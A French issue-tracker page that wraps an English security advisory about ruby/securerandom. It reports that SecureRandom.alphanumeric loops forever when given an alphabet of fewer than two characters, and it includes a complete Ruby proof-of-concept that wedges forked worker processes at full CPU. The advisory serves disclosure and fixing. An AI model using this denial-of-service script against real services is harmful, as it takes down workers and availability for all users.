SecureRandom.alphanumeric hangs forever on a character set with fewer than two characters
Personne n'a encore pris cette issue.
Évaluation
- Difficulté
- 2/5
- Temps estimé
- 1-3 heures
- Accessibilité débutants
- 76/100
Piste de recherche
Commencez par lib/securerandom.rb:57 et suivez la couche de compatibilité jusqu’à la logique de choose mentionnée dans l’issue ; à partir de Ruby 3.3, vérifiez Random::Formatter dans la bibliothèque standard. Ajoutez la vérification indiquée pour les alphabets de moins de deux éléments avant la boucle sur la taille des blocs, puis exécutez les tests pertinents de formatter ou de SecureRandom et confirmez que les alphabets vides et ceux à un seul élément déclenchent ArgumentError.
Rédigé par le modèle d'indexation à partir du texte de l'issue.
Description
About
Title: SecureRandom.alphanumeric hangs forever on a character set with fewer than two characters
Repository: ruby/securerandom
Location: lib/securerandom.rb:57
Severity: Medium
Impacted versions: HEAD, 0.4.1, ruby-3.3 random/formatter.rb, ruby-3.4 random/formatter.rb
Summary
SecureRandom.alphanumeric(n, chars:) is Ruby's helper for producing a random string of n
characters drawn from a caller-supplied alphabet. Before it generates anything it works
out how many alphabet characters it can pack into one random number. That calculation is a
loop:
while limit * size <= 0x100000000
limit *= size
m += 1
end
The loop assumes the alphabet has at least two entries. If the alphabet has zero or one
entry, limit never grows and the condition is always true, so the loop never exits. The
method then spins at 100% CPU indefinitely, for any requested length (including 0 and
negative), without allocating memory or performing I/O. It never returns and never raises
an exception.
The default alphabet (A-Z, a-z, 0-9) is fine, so the bug is only reached when a program
passes the chars: keyword - for example a tenant-configurable code alphabet, a character
set loaded from a config file, or an API that lets a caller choose the character set. On
Ruby 3.3 and later the faulty loop is in the standard library's Random::Formatter; the
securerandom gem's compatibility shim for Ruby 3.1/3.2 calls the same choose method and is
affected there too. The appropriate fix is to raise ArgumentError when the alphabet has
fewer than two elements, before the chunk-size loop is entered.
Impact
A single call pins one CPU core/worker thread at 100% and never returns. In a threaded or
process-per-request server, every malicious request permanently consumes one worker; a
handful of requests exhausts the pool and the service stops responding for all users.
Because the loop allocates no memory and makes no syscalls, memory limits
(RLIMIT_AS/cgroups), I/O limits, and request-timeout middleware that runs on the same
thread will not fire. The stuck thread cannot be unwound from Ruby; recovery requires
restarting the process, and a single-threaded process that traps or defers SIGTERM may
require SIGKILL.
The precondition is that the application passes a degenerate (zero- or one-element)
alphabet to alphanumeric. Applications that use the default alphabet or a fixed,
non-degenerate alphabet are not affected; when the alphabet is configurable or
attacker-influenced, one request is enough to cause a sustained denial of service. Callers
should also reject degenerate alphabets defensively and run request handlers with a hard
timeout in a separate thread/process.
Mitigations
Validate the alphabet length is >= 2 before calling alphanumeric (and reject
empty/singleton charsets); clamp/validate n; never pass user-controlled alphabets into the
formatter; enforce per-request CPU timeouts and run workers under a supervisor that
restarts wedged processes; upgrade to a fixed Random::Formatter/securerandom where choose
guards against size < 2.
Examples
example 1
A multi-tenant SaaS lets each tenant configure the alphabet used for invite or
verification codes (a'custom code format' setting). A tenant, or anyone who can reach the
unvalidated settings endpoint, submits a single-character alphabet such as ["0"]. The next
code-generation request never returns and pins a worker; repeating it a few times takes
the whole service down.
example 2
A service loads its token alphabet from YAML/JSON. A typo or an over-restrictive policy
produces chars: [] or chars: ["x"]. Every token-generation call now hangs. Because the
process does not crash, TCP-level health checks may still pass while the service is
unresponsive.
example 3
An API exposes the character set as a request parameter (for example a password or
coupon-code generator). A request with one character (chars=x) wedges the worker; four
such requests take out a four-worker pool. The same happens with a one-entry Hash such as
{a: 1} or a one-element array containing nil or the empty string.
example 4
A locale-specific character table collapses to a single symbol after deduplication. The
code path hangs only when that locale is selected, making the outage intermittent and hard
to diagnose.
Proof of concept
#!/usr/bin/env ruby
# frozen_string_literal: true
#
# PoC: SecureRandom.alphanumeric(n, chars:) spins forever (100% CPU) when the
# caller-supplied alphabet has fewer than two elements.
#
# Target : securerandom gem (lib/securerandom.rb:55-58 shim, and Ruby >= 3.3
# Random::Formatter#alphanumeric -> #choose, random/formatter.rb:313-320)
# Effect : a single call never returns and pegs a CPU core permanently. In any
# threaded server this silently kills one worker per malicious request
# until every worker is wedged -> remote denial of service.
#
# Usage : ruby poc_alphanumeric_loop.rb [chars] [n] [workers]
# chars alphabet (default "x" -> size 1, the pathological case)
# n requested length (default 16)
# workers concurrent victims to spawn (default 4)
#
# This script attacks the real gem through its public API. It does not mock
# anything: `require "securerandom"` loads the code under test and each victim
# process calls SecureRandom.alphanumeric exactly the way a web handler would.
require "securerandom"
require "timeout"
CHARS = ARGV[0] ? ARGV[0].split("", -1) : ["x"]
N = (ARGV[1] || 16).to_i
WORKERS = (ARGV[2] || 4).to_i
puts "== SecureRandom.alphanumeric #{SecureRandom::VERSION} - infinite-loop DoS =="
puts "alphabet = #{CHARS.inspect} (size=#{CHARS.size}) n=#{N} workers=#{WORKERS}"
puts
# --- Step 1: prove the call cannot make progress -----------------------------
# A correctly working method returns ~instantly. Here it burns the full budget.
t0 = Process.clock_gettime(Process::CLOCK_MONOTONIC)
looped = false
begin
Timeout.timeout(2) { SecureRandom.alphanumeric(N, chars: CHARS) }
rescue Timeout::Error
looped = true
end
dt = Process.clock_gettime(Process::CLOCK_MONOTONIC) - t0
unless looped
puts "[-] call returned normally; not vulnerable with this alphabet"
exit 2
end
puts "[*] Step 1: alphanumeric(#{N}, chars: #{CHARS.inspect}) never returned;"
puts " it was still spinning after %.1fs (would spin forever)." % dt
puts
# --- Step 2: show it wedges real worker processes at 100% CPU ----------------
pids = WORKERS.times.map do
fork do
# no timeout here - a real request handler has none
Signal.trap("TERM") { } # even a polite TERM is ignored while in CPU loop
SecureRandom.alphanumeric(10**9, chars: CHARS)
exit! 0 # unreachable
end
end
sleep 2
alive = pids.select { |pid| Process.kill(0, pid) rescue false }
cpu_sample = `ps -o pid,%cpu -p #{alive.join(",")} 2>/dev/null`.lines.drop(1)
puts "[*] Step 2: spawned #{WORKERS} victim worker processes, waited 2s:"
cpu_sample.each { |l| puts " ps> #{l.strip}" }
puts " still alive: #{alive.size}/#{WORKERS} (none returned a value)"
puts
# --- Step 3: they will not die politely, SIGKILL is required -----------------
pids.each { |pid| Process.kill("TERM", pid) rescue nil }
sleep 1
survived_term = pids.select { |pid| Process.kill(0, pid) rescue false }
puts "[*] Step 3: after SIGTERM, #{survived_term.size}/#{WORKERS} workers were still wedged"
pids.each { |pid| Process.kill("KILL", pid) rescue nil }
pids.each { |pid| Process.waitpid(pid) rescue nil }
puts " only SIGKILL stopped them."
puts
puts "[+] RESULT: SecureRandom.alphanumeric with a <2-element alphabet is a"
puts " guaranteed, permanent CPU-bound denial of service."
exit 0
stdout
== SecureRandom.alphanumeric 0.4.1 - infinite-loop DoS ==
alphabet = ["x"] (size=1) n=16 workers=4
[*] Step 1: alphanumeric(16, chars: ["x"]) never returned;
it was still spinning after 2.1s (would spin forever).
[*] Step 2: spawned 4 victim worker processes, waited 2s:
ps> 90336 99.6
ps> 90728 99.6
ps> 91225 99.6
ps> 91738 99.6
still alive: 4/4 (none returned a value)
[*] Step 3: after SIGTERM, 4/4 workers were still wedged
only SIGKILL stopped them.
[+] RESULT: SecureRandom.alphanumeric with a <2-element alphabet is a
guaranteed, permanent CPU-bound denial of service.
- Langage dominant
- Ruby
- Étoiles
- 76
- Forks
- 17
- Merge moyen
- 42 min
- PR mergées (30 j)
- 5
Préparer son environnement
Ce projet ne fournit ni conteneur de développement, ni Dockerfile, ni guide de contribution : l'installation est à votre charge. Commencez par son README, et consultez notre guide de la première contribution pour les étapes générales.
Par où commencer
- Lisez l'issue en entier, puis le guide de contribution du projet.
- Signalez en commentaire que vous la prenez — cela évite que deux personnes fassent le même travail.
- Forkez le dépôt et travaillez sur une branche.
- Ouvrez une pull request qui référence le numéro de l'issue.
Autres issues de ruby/securerandom
-
SecureRandom.alphanumeric can silently return an empty or wrong-length secret instead of raisingOuverte
Difficulté 2/5 1-3 heures Accessibilité débutants 67/100
ruby/securerandom#92 ·
-
Difficulté 2/5 1-3 heures Accessibilité débutants 35/100
ruby/securerandom#37 · 3 commentaires ·
-
Difficulté 4/5 3-5 jours Accessibilité débutants 28/100
ruby/securerandom#31 · 1 commentaire ·
-
Make ractor safeOuverte
Difficulté 4/5 3-5 jours Accessibilité débutants 25/100
ruby/securerandom#16 ·
Toutes les issues de ruby/securerandom
Issues similaires
-
Difficulté 2/5 1-3 heures Accessibilité débutants 72/100
Les mainteneurs répondent en général sous 1 jour
-
Difficulté 2/5 1-3 heures Accessibilité débutants 85/100
open-feature/ruby-sdk-contrib#340 ·
Les mainteneurs répondent en général sous 1 jour
-
Difficulté 2/5 1-3 heures Accessibilité débutants 88/100
zold-io/wts.zold.io#651 ·
Les mainteneurs répondent en général sous 1 jour
-
good first issue help wanted
Difficulté 2/5 1-3 heures Accessibilité débutants 87/100
erkamyaman/rust-anything#788 ·
Les mainteneurs répondent en général sous 1 jour
-
Difficulté 1/5 Moins d'une heure Accessibilité débutants 74/100
TheOdinProject/curriculum#31579 ·
Les mainteneurs répondent en général sous 1 jour